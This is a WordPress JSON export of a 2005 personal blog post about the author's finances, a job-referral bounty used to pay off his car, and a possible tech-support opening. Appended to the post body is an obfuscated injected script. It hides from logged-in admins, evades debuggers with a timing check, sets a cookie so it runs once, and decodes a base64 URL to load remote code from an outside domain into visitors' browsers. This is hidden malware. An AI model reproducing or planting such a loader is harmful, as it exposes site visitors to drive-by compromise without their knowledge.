{"id":122,"date":"2005-08-17T21:44:14","date_gmt":"2005-08-18T01:44:14","guid":{"rendered":"http:\/\/www.callblog.net\/?p=122"},"modified":"2025-10-17T13:34:09","modified_gmt":"2025-10-17T17:34:09","slug":"corporate-privateer","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/corporate-privateer","title":{"rendered":"Corporate Privateer"},"content":{"rendered":"<p>So here we are in the third week in August, and this is only my second post for the month.  On the upside, traffic is way up.  I guess the best way to promote my website is to ignore it completely.<\/p>\n<p>Does anyone else notice that the more they pay attention to their finances the more dire things seem?  Everytime I balance my checkbook, or even just bring my ledger (all of which is electronic, BTW) up to date, I get a deep understanding of just how broke I am.  On a posative financial note, thanks to the bounty I&#8217;m getting for dragging B.K., kicking and screaming, into Corporate America, I&#8217;ll be able to finish paying off my car in September instead November (Yes, my company pays a &#8220;bounty&#8221; to employees who bring in qualified workers for open positions).   As I look at what I just said, I realize that it&#8217;s not a real financial gain.  I mean, the bounty <strong>is<\/strong> a real financial gain, but whether I use it to pay off my car, or just use the bounty for whatever I would be using the money I&#8217;m not puting into car payments between September and November makes no difference to my total short-term financial outlook.  Regardless, I think the moral boost due to owning my car and having one less check to write every month will be a good thing.<\/p>\n<p>Word on the street is there may be another tech support position here opening up.  Anybody interested?<\/p>\n<p><tags>Bounty, Finances, Personal, Work<\/tags><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So here we are in the third week in August, and this is only my second post for the month. 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